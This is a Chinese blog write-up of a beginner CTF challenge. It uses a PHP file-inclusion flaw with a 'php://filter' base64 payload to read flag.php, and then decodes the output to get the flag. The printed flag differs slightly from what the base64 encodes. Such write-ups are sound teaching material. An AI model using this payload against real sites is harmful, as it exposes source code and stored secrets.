

# [ACTF2020 新生赛]Include WriteUp

原创

Flabyss 于 2020-10-13 13:02:16 发布 130 收藏

文章标签: [web](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/fdl3183566040/article/details/109048789>

版权

## [ACTF2020 新生赛]Include WriteUp

这是一道基本的文件包含题。

首先打开环境。



[tips](#)

<https://blog.csdn.net/fdl3183566040>

我们能看到的信息非常少, 直接查看源码

```
1 <meta charset="utf8">
2 <a href="?file=flag.php">tips</a>
```

这里有一个?file=flag.php

点开tips, 我们发现跳转到了这个界面。



Can you find out the flag?

在BP抓包无果后, 推测存在文件包含。

由 `php://filter/read=convert.base64-encode/resource=xxxx.php`构造

```
?file=php://filter/read=convert.base64-encode/resource=flag.php
```

8c25dfdc-8773-4193-8927-7b55cc58fbac.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/res

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7M2NmYmlzYjEtZTljYS00MGJmLTkwZDEtOTZmYmE4MDQwZDIyfQo=

是base64密码，这里推荐一个解码工具：  
<http://ctf.ssleye.com/>

在线工具    SSL在线工具    SSL漏洞在线检测    工具网    买证书

## base编码

base16、base32、base64

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7M2NmYmlzYjEtZTljYS00MGJmLTkwZDEtOTZmYmE4MDQwZDIyfQo=

编码 base64

字符集 utf8(unicode编码)

编码

解码

```
<?php
echo "Can you find out the flag?";
//flag{3cfbb3b1-e9ca-40bf-90d1-96fba8040d2}
```

<https://blog.csdn.net/dl3183566040>

就酱^\_^。